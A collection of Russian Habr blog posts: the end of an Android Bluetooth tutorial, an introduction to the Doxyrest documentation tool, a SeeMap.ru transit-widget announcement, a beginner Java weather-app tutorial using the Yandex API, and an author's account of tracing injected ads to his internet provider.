pushBroadcastMessage(
BluetoothUtils.ACTION_MESSAGE_RECEIVED,
mmSocket.remoteDevice,
message
)
}
}
// Call this from the main activity to send data to the remote device.
fun write(bytes: ByteArray) {
try {
mmOutStream.write(bytes)
// Send to broadcast the message
pushBroadcastMessage(
BluetoothUtils.ACTION_MESSAGE_SENT,
mmSocket.remoteDevice,
null
)
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Error occurred when sending data"
)
return
}
}
// Call this method from the main activity to shut down the connection.
fun cancel() {
try {
mmSocket.close()
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Could not close the connect socket"
)
}
}
}
```
Мы закончили!
### Заключение
Мы видели, как из нашей активности можем связать сервис Bluetooth (1), который выполняет и управляет операциями Bluetooth. В нем мы можем запускать многоадресное событие (broadcast event) (2), которые получает Bluetooth-приемник. Получив их, Bluetooth-приемник, в свою очередь, вызывает функцию интерфейса, реализованную (4) в нашей активности, зарегистрированной на bluetooth-приемник(3)
*Мой совет - всегда следовать официальному руководству и рекомендациям по написанию чистого кода.*
---
> Материал подготовлен в рамках специализации [«Android Developer».](https://otus.pw/PgXu/)
>
> Всех желающих приглашаем на двухдневный онлайн-интенсив **«Делаем мобильную мини-игру за 2 дня»**. За 2 дня вы сделаете мобильную версию PopIt на языке Kotlin. В приложении будет простая анимация, звук хлопка, вибрация, таймер как соревновательный элемент. Интенсив подойдет для тех, кто хочет попробовать себя в роли Android-разработчика. [**>> РЕГИСТРАЦИЯ**](https://otus.pw/pZHI/)
>
> | https://habr.com/ru/post/575532/ | null | ru | null |
# Создавая хтонических чудовищ, документируй
Под данным изречением-мемом, взятым с замечательной картинки [Владимира Филонова](https://www.facebook.com/pyhoster), поставит свою подпись каждый человек, имеющий хотя бы отдалённое отношение к программированию. **Весь вопрос, как?** Как именно документировать-то?
Нижележащий текст преследует несколько целей:
1. Дать краткий обзор (читай — немного погундеть на тему) неудовлетворительного состояния инструментария, применимого к хтоническим чудовищам мира C/C++;
2. Предложить своё **альтернативное решение** (бесплатно-без-СМС-и-регистрации — проект некоммерческий и выложен на GitHub под MIT-лицензией);
3. Призвать сообщество **пообщаться на тему** и собрать идеи;
4. Пригласить **присоединиться к разработке** проекта на GitHub.
Сразу оговорюсь, что хотя проект создавался в первую очередь как альтернатива, а точнее, дополнение Doxygen для сишных и плюсовых API, архитектурно он в равной степени пригоден и **для других языков**. Это позволяет создавать порталы документации разноплановых библиотек — сами библиотеки могут быть написаны на разных языках, а в документации будет единство стиля во внешнем виде и поведении.
Мотивация
---------
По большому счёту, подходов к документированию API и библиотек — плюсовых или нет — ровно два.
* Первый, это **писать всё ручками**.
Даже неважно в чём — в Help & Manual, RoboHelp, Word или другом редакторе. Несмотря на то, что этот традиционный способ всем понятен и по-прежнему широко используется, я глубоко убеждён что он в корне неверен. Дело в том, что он порождает документацию, которая всё время местами нерелевантна и **отстаёт от объекта документации**. Поддержка *согласованности* между созданными раздельно, а зачастую ещё и разными людьми, документацией и постоянно эволюционирующим API библиотеки — не эволюционируют только умершие или замороженные продукты! — это колоссальная задача, лишь немногим более лёгкая написания первичной документации.
* Второй, *"правильный"* подход, состоит в том, чтобы **генерировать документацию** по исходникам автоматически.
Специально обученный парсер пробегает по исходникам, вычленяет особым образом оформленные **комментарии с документацией** и строит структуру дерева публичных объявлений API. После этого генерируется документация в нужном формате — меня, как, полагаю, и большинство, в первую очередь интересует HTML и PDF. Основным преимуществом данного подхода является **гарантированная когерентность** объявлений в исходниках API и в конечной документации. Даже при полном отсутствии в исходниках содержательных комментариев с собственно *"документацией"*, в конце мы будем иметь прекрасный **снимок состояния API** библиотеки, с возможностью "попрыгать" по объявлениям и описаниям типов, и т.д.
Итак, с вашего позволения, я сконцентрируюсь на *"правильном"* подходе с автогенерацией. Какие варианты у нас имеются тут? Увы, для документации C/C++ на данный момент имеется и реально используется **печально мало**: [Doxygen](http://www.stack.nl/~dimitri/doxygen) да [QDoc](http://doc.qt.io/qt-5/qdoc-index.html). И с этими двумя тоже далеко не всё гладко.
**Doxygen** — первый по-настоящему успешный проект по вытаскиванию комментариев из кода на плюсах и превращению оных в HTML-документацию с гиперссылками, картинками графов наследования, вызовов и т.д. В отличие от своего прямого родителя — первопроходца Doc++, так никогда и не получившего достаточного распространения, Doxygen сейчас — это **де-факто стандарт** документирования кода на C/C++. И всё это было бы замечательно, если бы не два "но":
* Стандартный генерируемый доксигеном HTML, как бы это помягче сказать… **не обременён элегантностью**.
Конечно, тут есть место субъективизму. Я вполне допускаю, что в мире существуют не столь придирчивые люди, которых доксигеновский выхлоп полностью устраивает (рискну предположить, однако, что профессиональных дизайнеров среди них не окажется). Но даже если умолчальный доксигеновский HTML и устраивает кого-то с визуальной точки зрения (а серьёзно, есть такие, кому он и вправду *нравится эстетически*? напишите в комментариях!), очень часто хочется поменять и настроить что-то **выходящее за рамки подкручивания CSS** — например, упечь объявления в и расставить отступы и пробелы в соответствии с принятым в данной конкретной библиотеке coding-style. Это подводит нас ко второй, более фундаментальной проблеме Doxygen:
* Doxygen за свою долгую жизнь так и не отрастил настоящую, **модульную настраиваемость**.
Да, есть `Doxyfile` с кучей переменных, есть возможность менять HTML шапки и CSS, но архитектурно — всё **захардкожено** в монолитное C++ ядро! Причём захардкожен как front-end, а именно, парсеры исходников, так и back-end — генераторы HTML, PDF, RTF и другого (среди которого, слава небесам, есть и XML).
**QDoc** по умолчанию выдаёт гораздо, гораздо более **симпатичный HTML**, чем Doxygen. К сожалению, если требуется что-то *не по умолчанию*, то QDoc страдает всё той же врождённой **деревянностью**, что и Doxygen (растущей, понятно, из той же самой ~~ж...~~ захардкоженности и парсера, и генератора в монолитное плюсовое ядро). В дополнение к своей деревянности, QDoc, в отличие от Doxygen, имеет всего **лишь один входной парсер** — для QT-диалекта C++ (со всеми `Q_OBJECT`, `Q_PROPERTY`, `foreach`, и т.д. жёстко трактуемыми как ключевые слова). И при этом, — что уж совсем ни в какие ворота, — не умеет генерировать PDF!
Альтернатива
------------
Предлагается заменить один инструмент **конвейером**. Вместо
```
Doxygen -> (HTML, PDF, ...)
```
… будем использовать следующий pipeline:
```
Doxygen -> (XML) ->
-> Некий-Мост -> (reStructuredText) ->
-> Sphinx -> (HTML, PDF, ...)
```
Что оставляем старого?
----------------------
Разработчики знают как и уже привыкли документировать C/C++ код с помощью **Doxygen-комментариев**:
```
/*!
\brief This is a brief documentation for class Foo.
This is a detailed documentation for class Foo.
...
*/
class Foo
{
// ...
}
```
Зачем изобретать новый синтаксис? Будем писать документацию так же, как и раньше!
Doxygen умеет вытаскивать документацию из исходников и класть её вместе с деревом объявлений в XML базу данных. Прекрасно! Это будет нашим **front-end**.
Ещё легче ответить на вопрос о том, что использовать в качестве **back-end** — конечно, [Sphinx](http://www.sphinx-doc.org). **Sphinx** заслуженно получил колоссальное распространение как инструмент написания технической документации. Он выдаёт весьма **вкусно выглядящий HTML** с поддержкой полноценных тем (а не просто CSS!), умеет склеивать всё в одну HTML-простыню, генерировать документацию в PDF, EPUB и множестве других форматов — и всё это из коробки! Но что самое главное, он **полностью настраиваем** с помощью Python-скриптов, причём их можно применять как для тюнинга внешнего вида, так и для расширения входного языка (каковым для Sphinx является reStructuredText) — а именно, дописывать свои директивы и потом использовать их в документации.
Осталось подружить Doxygen и Sphinx.
Строим мост
-----------
Замечу, что я не первый, кто пытался построить **мост между Doxygen и Sphinx**. Относительную известность приобрёл проект [breathe](https://github.com/michaeljones/breathe), написанный на Python как расширение для Sphinx. В настоящий момент проект не слишком активно ковыряется отвёрточкой, и, увы, из коробки не пригоден для серьёзных задач. Архитектурно он устроен следующим образом: он парсит XML-выхлоп доксигена и создаёт узлы reStructuredText дерева в памяти напрямую.
Я же решил пойти несколько другим путём. **Doxyrest** — так называется наш мост — парсит доксигеновские `.xml` файлы, а затем отдаёт распарсенный XML и набор файлов-шаблонов в **шаблонизатор** (string template engine, template processor). Шаблонизатор генерирует файлы с **reStructuredText**, и уже эти `.rst` файлы передаются в Sphinx-back-end для получения окончательной документации в заданном формате.
Основная фишка — конечно же, использование шаблонизатора. Это позволяет **полностью настраивать структуру** документации: менять порядок и группировать документируемые объекты (классы/функции/свойства и т.д.), настраивать стиль объявлений (где и как использовать отступы, пробелы, переносы строк и т.д.), использовать логику произвольной сложности для включения или не включения данного конкретного объекта в документацию, и так далее — и всё это **без перекомпиляции**, просто правкой входных шаблонов!
Но главное — подход с шаблонизатором позволяет применять Doxyrest для абсолютного большинства любых **других языков**, и в частности, разнообразных DSL — для которых никто и никогда не будет делать специализированных систем документации. Doxygen не умеет парсить ваш язык? Взяли компилятор языка, добавили туда генерацию Doxygen-подобного XML по уже имеющемуся AST, затем исправили шаблоны выходных `.rst` файлов — чтобы объявления в документации были с нужным синтаксисом, — и всё! Ваш язык теперь можно документировать с помощью Doxygen-комментариев и получать на выходе красивую Sphinx-документацию.
В настоящий момент для шаблонизации используется язык **Lua** (просто потому что у меня уже была готовая и отлаженная библиотечка Lua string templates), но в теории ничто не мешает добавить поддержку и других языков шаблонизации.
Выглядят и работают шаблоны как-то так:
```
Title
=====
%{
if false then
}
This text will be excluded..
%{
end -- if
for i = 1, 3 do
}
* List item $i
%{
end -- for
}
```
На выходе будем иметь:
```
Title
=====
* List item 1
* List item 2
* List item 3
```
Примеры использования
---------------------
Лучше один раз увидеть, чем сто раз услышать. Посему, вместо заключения я решил просто привести ссылки на **результат работы Doxyrest** в применении к различным языкам:
* [Jancy Standard Library Reference](http://docs.tibbo.com/jancy/stdlib) (язык Jancy)
* [Jancy C API Reference](http://docs.tibbo.com/jancy/api) (язык C)
* [IO Ninja API Reference](http://docs.tibbo.com/ioninja/api) (язык Jancy)
* [AXL Library Reference](http://docs.tibbo.com/axl/manual) (язык C++)
Несмотря на незаконченность содержательной части документации по ссылкам выше (собственно описания классов, функций и т.д.), всего этого должно быть достаточно для демонстрации работоспособности метода.
Страничка проекта на GitHub: <http://github.com/vovkos/doxyrest>
Проект выложен под одной из самых нестрогих лицензий в мире — **The MIT License**. Смотрите, пробуйте, присоединяйтесь к разработке. А я с удовольствием отвечу на все вопросы в комментариях. | https://habr.com/ru/post/318564/ | null | ru | null |
# Поиск городских маршрутов в 15 городах и 3 виджета для сайтов — Смотри Карту.ру
Проект [SeeMap.ru — Городские Маршруты](http://www.seemap.ru/). За 9 месяцев, что прошли с моего [прошлого](http://habrahabr.ru/blogs/i_am_advertising/85285/) поста, была проделана огромная работа. Теперь поиск маршрутов работает **в 15 городах** и ещё более **5-и** находятся в стадии добавления. Также хочу рассказать о 3-х интересных **виджетах** для сайтов!
#### О проекте
Поиск маршрутов городского транспорта теперь работает в следущих городах: Москва, Санкт-Петербург, Новосибирск, Самара, Тольятти, Казань, Алматы, Николаев, Тверь, Рига, Харьков, Нижний Новгород, Одесса, Запорожье.
**Дальше:** Киев, Волгоград, Воронеж, Львов, Даугавпилс, Рязань
* В настоящее время, многие пользователи как редактируют имеющиеся маршруты, так и добавляют новые, поэтому информация становится более достоверной и актуальной (сайт почти приблизился к web 2.0)
* «Открытость» сайта. Можно узнать как действующие, так и закрытые маршруты, а также те, что находятся на проверке.
* Добавлена простейшая версия сайта — например [список маршрутов Москвы](http://www.seemap.ru/msk?routes=list)
* Недействующие маршруты показаны другим цветом и не участвуют в оптимальном поиске на главной странице.
* Диаграмма — количество маршрутов в городе
* Каждый маршрут имеет свою страницу с исчерпывающей информацией и с комментариями (можно подписаться на обновления)
* В базе более 4200 маршрутов
* Система рейтинга маршрутов
* Посещаемость увеличилась более чем в 3x
#### Виджет «Ближайшие маршруты»
| |
| --- |
| Самый интересный виджет! Указываете своё местонахожение (адрес) на карте и радиус поиска, вы получаете карту со всеми проходящими мимо маршрутами.
Очень полезно для фирм и организаций! Вы можете моментально предоставить посетителям информацию о маршрутах, на которых к вам можно добраться!
Например. Вы торговая оптовая компания и вы продаете товар самовывозом (то найти вас действительно проблема, если вы не находитесь в центре, говорю это по собственному опыту) и этот виджет покажет весь общественный транспорт проходящий мимо вашего офиса. (причем данные всегда актуальны)
пример скрипта:
```
var sm\_t3\_css\_widget\_width = 600;
var sm\_t3\_css\_widget\_height = 300;
var sm\_t3\_search\_radious = 450;
var sm\_t3\_css\_common\_body\_background\_color = "F6F6FF";
var sm\_t3\_css\_common\_border\_width = 1;
var sm\_t3\_css\_common\_border\_color = "9dbccb";
var sm\_t3\_css\_map\_zoom = 15;
var sm\_t3\_css\_map\_route\_width = 6;
var sm\_t3\_css\_map\_route\_color = "d72424";
var sm\_t3\_css\_panel\_route\_text\_color = "0C556C";
var sm\_t3\_css\_panel\_route\_background\_color = "f9f9f9";
var sm\_t3\_css\_panel\_route\_background\_active\_color = "FDD40C";
var sm\_t3\_css\_panel\_route\_border\_dottet\_color = "0C576E";
```
|
Настраивается всё! Размеры карты, цвета, ширина траектории движения.
Например. Факультет ПМ-ПУ СПбГУ в Петергофе и ближайшие маршруты в радиусе 450 метров
или, изменив цвета:
#### Виджет «Маршрут»
| |
| --- |
| Вы можете встроить на сайт карту с одним конкретным маршрутом.
```
var sm\_t1\_map\_zoom = 12;
var sm\_t1\_map\_width = 470;
var sm\_t1\_map\_height = 300;
var sm\_t1\_route\_id = 13;
var sm\_t1\_route\_color = "d72424";
var sm\_t1\_route\_width = 7;
```
Меняя параметры js-переменных, вы можете полностью изменить виджет по своему вкусу:* ширину, высоту, масштаб карты
* цвет и ширину траектории
[Маршрутное такси №258 в Санкт-Петербурге](http://www.seemap.ru/spb?routes=13)
Код для размещения находится на соответствующей странице маршрута. (или если вы знаете его id, то можете поменять в js коде «sm\_t1\_route\_id») |
#### Виджет «Список городских маршрутов»
| |
| --- |
| А этот виджет позволяет отобразить на карте любой маршрут имещийся в городе.
При добавлении на сайт, необходимо его сначала «зарегистировать», как и первый виджет.
Sample код:
```
var sm\_t2\_css\_map\_border\_width = 1;
var sm\_t2\_css\_map\_border\_color = "9dbccb";
var sm\_t2\_css\_map\_width = 600;
var sm\_t2\_css\_map\_height = 340;
var sm\_t2\_css\_map\_route\_width = 6;
var sm\_t2\_css\_map\_route\_color = "0C556C";
var sm\_t2\_css\_panel\_background\_color = "E7EEF5";
var sm\_t2\_css\_panel\_route\_color = "0C556C";
var sm\_t2\_css\_panel\_popup\_background\_color = "E7EEF5";
```
Как видим, и здесь можно полностью изменить дизайн (цвета, размеры, ширину траектории, цвет траектории, цвет фона, зум карты и др.)
|
Виджеты можно «зарегистрировать» на [главной странице сайта](http://www.seemap.ru), перейдя по вкладке «Виджеты» или [посмотреть в действии.](http://www.seemap.ru/widget.jsp)
Вот в кратце и всё, о чем хотелось рассказать. Только не забудьте оставить свой комментарий! Очень важно Ваше мнение! Спасибо.
Ссылки на предыдущие публикации
[habrahabr.ru/blogs/i\_am\_advertising/78500](http://habrahabr.ru/blogs/i_am_advertising/78500/)
[habrahabr.ru/blogs/i\_am\_advertising/85285](http://habrahabr.ru/blogs/i_am_advertising/85285/) | https://habr.com/ru/post/107588/ | null | ru | null |
# Погодник на java для начинающих и постарше
Приветствую всех в этот прекрасный день ожидания праздника, это моя первая статья на хабре, в которой я хотел бы рассказа про открытый API погоды Яндекса. Статья является продолжением серии Java для начинающих. Следует отметить, статья рассчитана на тех, кто недавно начал изучения язык или на тех, кто не знаком с данным сервисом, но в любом случае, рад я буду любым читателям (эх тавтология… ). Яндекс дает неплохую возможность для разработчиков, которым требуется в своей программе или на своем сайте разместить погоду, причем информации, которую Яндекс предоставляет более, чем достаточно.
Погоду Вы сможете выбрать за любой день на неделю вперед. Различные состояния (ясно, пасмурно и т. д.), множество языков (для городов, например русский и английский, для состояний все языки стран СНГ и не только: ясно, аяз, açık, ашық и т… д.), я не очень хорош в географии, но, кажется, информация там для всех стран, даже есть миниатюрные картинки состояния погоды, но самое главное, почему я выбрал этот сервис — простая и понятная структура. Сразу оговорюсь, за «рекламу» мне не платили.
Класс с внешним представлением, думаю описывать не надо, я лишь приведу код, чтобы потом не было несостыковок. Рекомендую даже не списывать, а сделать свой, ибо мой убогий:
```
public WFrame() {
today = null;
GridBagLayout layout = new GridBagLayout(); // выбрал его, потому что раньше с ним не работал, вот и экперементирую
setTitle("Weather");
setPreferredSize(new Dimension(350, 300));
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setLocationRelativeTo(null);
setVisible(true);
contentPane = getContentPane();
panel = new JPanel();
panel.setLayout(layout);
idField = new JtextField();
idField.setColumns(6);
// парсим содержимое xml, вытаскиваем от туда необходимые данные
// заполняем метки
btn = new JButton("Хочу все знать");
// расположение элементов, в GUI я не силен, критику приму
label = new JLabel("Наберите в поле ID вашего города");
label.setFont(new Font("Verdana", Font.PLAIN, 14));
tLabel = new JLabel("Погода завтра");
tLabel.setFont(new Font("Verdana", Font.PLAIN, 14));
iLabel = new JLabel();
panel.add(label,
new GBC(0, 0, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(iLabel,
new GBC(0, 1, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(btn, new GBC(0, 3, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(idField,
new GBC(0, 2, 2, 1).setAnchor(GBC.NORTH)
.setFill(GBC.HORIZONTAL).setIpad(50, 0));
panel.add(tLabel,
new GBC(0, 4, 2, 1).setAnchor(GBC.NORTH)
.setFill(GBC.HORIZONTAL).setIpad(50, 0));
add(panel);
panel.setComponentPopupMenu(menu);
pack();
}
```
В idField мы будем записывать ID нашего города (список городов и государств можете найти здесь [weather.yandex.ru/static/cities.xml](http://weather.yandex.ru/static/cities.xml)). Ну а в лэйблы — саму информацию. Критику я воспринимаю нормально, буду рад если сделаете замечания или поправки. Класс GBC – наследник GridBagConstraints, его код я приведу в конце поста.
Еще я бы добавил для удобства всплывающее меню, чтобы айди города каждый раз не набирать:
```
JPopupMenu menu = new JPopupMenu();
menu.add(new AbstractAction("Пенза") {
@Override
public void actionPerformed(ActionEvent e) {
setCity("27962");
}
});
```
Естественно добавить нужно не один город, но мне пока хватает Пензы. Для добавления городов в меню лучше создать отдельный класс, но это другая тема, я с этим возиться не стал.
Следующий класс, который я создал — класс Weather для хранения переменных с информацией о погоде. Тут ничего сложного:
```
public class Weather {
String city;
String weatherType;
String imgType;
String humidity;// Влажность
String tom, tomNight;
int temperature;
public String toString() {
return "Weather[city= " + city + ", weatherType=" + weatherType
+ ", temperature= " + temperature + ",humidity= " + humidity
+ "]";
}
}
```
Далее создаем документ для парсинга
```
Document doc = null;
URL url = new URL("http://export.yandex.ru/weather-ng/forecasts/"
+ cityID + ".xml");
//попробуйте пройти по ссылке и посмотреть, что именно мы парсим
// да и вообще саму структуру
URLConnection uc = url.openConnection();
InputStream is = uc.getInputStream();//создали поток
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
doc = db.parse(is);//непосредственно парсинг
doc.getDocumentElement().normalize();
```
Связываем переменную класса NodeList с тегом forecast (см. [export.yandex.ru/weather-ng/forecasts/29642.xml](http://export.yandex.ru/weather-ng/forecasts/29642.xml) — страница с погодой)
```
nl = doc.getElementsByTagName("forecast").item(0).getChildNodes();
```
Т.е. получилось у нас что-то типа:
```
try {
Document doc = null;
URL url = new URL("http://export.yandex.ru/weather-ng/forecasts/"
+ cityID + ".xml");
//попробуйте пройти по ссылке и посмотреть, что именно мы парсим
// да и вообще саму структуру
URLConnection uc = url.openConnection();
InputStream is = uc.getInputStream();//создали поток
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
doc = db.parse(is);//непосредственно парсинг
doc.getDocumentElement().normalize();
nl = doc.getElementsByTagName("forecast").item(0).getChildNodes();
//из этого родителя нам и нужно содердимое
} catch (Exception ex) {
JOptionPane.showMessageDialog(null,
"Ошибка при запросе к Яндекс АПИ");
ex.printStackTrace();
}
```
Что ж связали и разобрали, пора извлекать непосредственно погоду. Как видим у forecast есть наследник fact, а в нем в свою очередь — station и temperature (в названии города иногда указывается аэропорт). Теперь из station и temperature вытащим погоду и название города:
```
for (int i = 0; i < nl.getLength(); i++) {
Node child = nl.item(i);
if (child instanceof Element) {
if (child.getNodeName().equals("fact")) {
Node childOfChild = null;
for (int j = 0; j < child.getChildNodes().getLength(); j++) {
childOfChild = child.getChildNodes().item(j);
if ("station".equals(childOfChild.getNodeName())) {
todayWeather.city = childOfChild.getTextContent();
}
if ("temperature".equals(childOfChild.getNodeName()))
todayWeather.temperature = Integer
.parseInt(childOfChild.getTextContent());
if ("weather_type_short".equals(childOfChild
.getNodeName())) {
todayWeather.weatherType = childOfChild
.getTextContent();
}
if ("image".equals(childOfChild.getNodeName())) {
todayWeather.imgType = childOfChild
.getTextContent();
}
if ("humidity".equals(childOfChild.getNodeName())) {
todayWeather.humidity = childOfChild
.getTextContent();
}
}
}
if (child.getNodeName().equals("informer")) {
Node childOfChild = null;
for (int j =0; j
```
Циклом for перебираем всех детей и выбираем лишь нужных нам, как видите я еще выбрал влажность (humidity) и тип картинки. В остальном думаю все предельно понятно.
Осталось лишь написать обработчик события для кнопки:
```
btn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
try {
String cityID = idField.getText();
if (cityID == null)
throw new IOException("Не введен ID города");
WeatherParser.parse(cityID); // процесс присваивания переменным необходимыми значениями
label.setText(today.city + "(сейчас): " + today.temperature
+ " С; " + today.weatherType + " Влж:"
+ today.humidity + " %");
iLabel = new JLabel(new ImageIcon(ImageIO.read(new URL(
"http://img.yandex.net/i/wiz" + today.imgType
+ ".png"))));
tLabel.setText("Погода завтра ночь/день: "+ today.tomNight+"/"+ today.tom);
//некорректные конечно названия переменных
} catch (IOException e1) {
e1.printStackTrace();
}
contentPane.add(iLabel);
}
});
```
В заключении хотелось бы попросить прощения за быдлокодинг в некоторых местах, буду рад если ткнете носом в таковой. Еще одна проблема, которая возникла у меня и которую я так и не решил — отображение картинки, которая появляется лишь если растянуть форму. Так что готов выслушать любую обоснованную критику.
Всем спасибо за внимание, удачного дня!
Код полностью:
1. Класс с фреймом
```
`public class WFrame extends JFrame {
static Weather today;
JPanel panel;
JTextField idField;
JButton btn;
JLabel label;
JLabel tLabel;
JLabel iLabel;
Box b;
static String id;
static int t;
Container contentPane;
public WFrame() {
today = null;
JPopupMenu menu = new JPopupMenu();
menu.add(new AbstractAction("Пенза") {
@Override
public void actionPerformed(ActionEvent e) {
setCity("27962");
}
});
//несомненно, можно добавить любой город, список которых можно найти здесь
// http://weather.yandex.ru/static/cities.xml
GridBagLayout layout = new GridBagLayout(); // выбрал его, потому что раньше с ним не работал, вот и экперементирую
setTitle("Weather");
setPreferredSize(new Dimension(350, 300));
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setLocationRelativeTo(null);
setVisible(true);
contentPane = getContentPane();
panel = new JPanel();
panel.setLayout(layout);
idField = new JTextField();
idField.setColumns(6);
idField.addKeyListener(new KeyListener() {
@Override
public void keyTyped(KeyEvent arg0) {
}
@Override
public void keyReleased(KeyEvent e) {
if (e.getKeyCode() == KeyEvent.VK_ENTER) {
btn.doClick();
}
}
@Override
public void keyPressed(KeyEvent arg0) {
}
});
// парсим содержимое xml, вытаскиваем от туда необходимые данные
// заполняем метки
btn = new JButton("Хочу все знать");
btn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
try {
String cityID = idField.getText();
if (cityID == null)
throw new IOException("Не введен ID города");
WeatherParser.parse(cityID); // процесс присваивания переменным необходимыми значениями
label.setText(today.city + "(сейчас): " + today.temperature
+ " С; " + today.weatherType + " Влж:"
+ today.humidity + " %");
iLabel = new JLabel(new ImageIcon(ImageIO.read(new URL(
"http://img.yandex.net/i/wiz" + today.imgType
+ ".png"))));
tLabel.setText("Погода завтра ночь/день: "+ today.tomNight+"/"+ today.tom);
//некорректные конечно названия переменных
} catch (IOException e1) {
e1.printStackTrace();
}
contentPane.add(iLabel);
}
});
// расположение элементов, в GUI я не силен, критику приму
label = new JLabel("Наберите в поле ID вашего города");
label.setFont(new Font("Verdana", Font.PLAIN, 14));
tLabel = new JLabel("Погода завтра");
tLabel.setFont(new Font("Verdana", Font.PLAIN, 14));
iLabel = new JLabel();
panel.add(label,
new GBC(0, 0, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(iLabel,
new GBC(0, 1, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(btn, new GBC(0, 3, 2, 1).setFill(GBC.NORTH).setWeight(100, 0));
panel.add(idField,
new GBC(0, 2, 2, 1).setAnchor(GBC.NORTH)
.setFill(GBC.HORIZONTAL).setIpad(50, 0));
panel.add(tLabel,
new GBC(0, 4, 2, 1).setAnchor(GBC.NORTH)
.setFill(GBC.HORIZONTAL).setIpad(50, 0));
add(panel);
panel.setComponentPopupMenu(menu);
pack();
}
public static void main(String[] args) {
// loginWithProxy();
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
WFrame frame = new WFrame();
frame.setDefaultLookAndFeelDecorated(true);
}
});
}
public void setCity(String id) {
this.id = id;
idField.setText(id);
}
}`
```
2. Класс Weather
```
public class Weather {
String city;
String weatherType;
String imgType;
String humidity;// Влажность
String tom, tomNight;
int temperature;
public String toString() {
return "Weather[city= " + city + ", weatherType=" + weatherType
+ ", temperature= " + temperature + ",humidity= " + humidity
+ "]";
}
}
```
3. Класс парсинга:
```
public class WeatherParser {
static Weather tomorrowWeather;
WeatherParser(WFrame f) {
tomorrowWeather = new Weather();
}
public static void parse(String cityID) {
Weather todayWeather = new Weather();
NodeList nl = null;
try {
Document doc = null;
URL url = new URL("http://export.yandex.ru/weather-ng/forecasts/"
+ cityID + ".xml");
//попробуйте пройти по ссылке и посмотреть, что именно мы парсим
// да и вообще саму структуру
URLConnection uc = url.openConnection();
InputStream is = uc.getInputStream();//создали поток
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
doc = db.parse(is);//непосредственно парсинг
doc.getDocumentElement().normalize();
nl = doc.getElementsByTagName("forecast").item(0).getChildNodes();
//из этого родителя нам и нужно содердимое
} catch (Exception ex) {
JOptionPane.showMessageDialog(null,
"Ошибка при запросе к Яндекс АПИ");
ex.printStackTrace();
}
for (int i = 0; i < nl.getLength(); i++) {
Node child = nl.item(i);
if (child instanceof Element) {
if (child.getNodeName().equals("fact")) {
Node childOfChild = null;
for (int j = 0; j < child.getChildNodes().getLength(); j++) {
childOfChild = child.getChildNodes().item(j);
if ("station".equals(childOfChild.getNodeName())) {
todayWeather.city = childOfChild.getTextContent();
}
if ("temperature".equals(childOfChild.getNodeName()))
todayWeather.temperature = Integer
.parseInt(childOfChild.getTextContent());
if ("weather_type_short".equals(childOfChild
.getNodeName())) {
todayWeather.weatherType = childOfChild
.getTextContent();
}
if ("image".equals(childOfChild.getNodeName())) {
todayWeather.imgType = childOfChild
.getTextContent();
}
if ("humidity".equals(childOfChild.getNodeName())) {
todayWeather.humidity = childOfChild
.getTextContent();
}
}
}
if (child.getNodeName().equals("informer")) {
Node childOfChild = null;
for (int j =0; j
```
4. Ну и класс GBC
```
import java.awt.GridBagConstraints;
public class GBC extends GridBagConstraints
{
public GBC(int gridx, int gridy)
{
this.gridx = gridx;
this.gridy = gridy;
}
public GBC(int gridx, int gridy, int gridwidth, int gridheight)
{
this.gridx = gridx;
this.gridy = gridy;
this.gridwidth = gridwidth;
this.gridheight = gridheight;
}
public GBC setAnchor(int anchor)
{
this.anchor = anchor;
return this;
}
public GBC setFill(int fill)
{
this.fill = fill;
return this;
}
public GBC setWeight(double weightx, double weighty)
{
this.weightx = weightx;
this.weighty = weighty;
return this;
}
public GBC setInsets(int distance)
{
this.insets = new java.awt.Insets(
distance, distance, distance, distance);
return this;
}
public GBC setInsets(int top, int left, int bottom, int right)
{
this.insets = new java.awt.Insets(
top, left, bottom, right);
return this;
}
public GBC setIpad(int ipadx, int ipady)
{
this.ipadx = ipadx;
this.ipady = ipady;
return this;
}
}
```
[Архив на народе](http://narod.ru/disk/64870366001.5048ae6254d8464eb6831d9651d31cdc/_CorWeather.zip.html) | https://habr.com/ru/post/164101/ | null | ru | null |
# Вы не смотрите рекламу во время разработки? Непорядок
Дожили. Примерно такая реакция у меня была, когда на локальном проекте на [localhost](http://localhost) поверх всего вылезла реклама. Вот так вот:
Так-то давно пора было. Что это я себе позволяю? Браузером пользуюсь, а рекламу не везде смотрю.
Видимо, какой-то плагин для хрома хакнули. Бывает, нужно найти какой, написать разработчикам и вырубить.
Картинка из рекламы есть, посмотрим в инструментах разработчика, кто ее грузит. Находим какой-то левый скрипт с явными попытками обфускации. А его в свою очередь грузит еще один. В итоге приходим к
Google maps? Серьезно? Нет, все-таки надо искать проблему где-то ближе.
Ладно, откроем [maps.google.com/maps-api-v3/api/js/39/10/util.js](http://maps.google.com/maps-api-v3/api/js/39/10/util.js) в браузере.
Все ок. Пару раз перегружаем и вот он редирект на r.analytic.press.
Я провел мини статистическое исследование. Где-то один раз из 5ти славливаю редирект.
Может это провайдер косячит? Попробуем подключиться к мобильному интернету. Не воспроизводится, хотя попыток было больше 20.
А если мобильный девайс подключить к локальной сети. Воспроизводится. Так что мы отметаем вариант с вирусами на компе и явно надо искать где-то в локальной сети или у провайдера.
Попробуем погуглить. Хм, я не одинок. И всех нас объединяет провайдер и сибирский регион.
Все-таки хочется удостовериться, что не проблемы внутренней сети. Отрубаем все, ищем устройство, которое можно подключить напрямую к оборудованию провайдера.
Воспроизводится!
Пишем сообщение в поддержку. И получаем ответ, что скоро все будет исправлено.
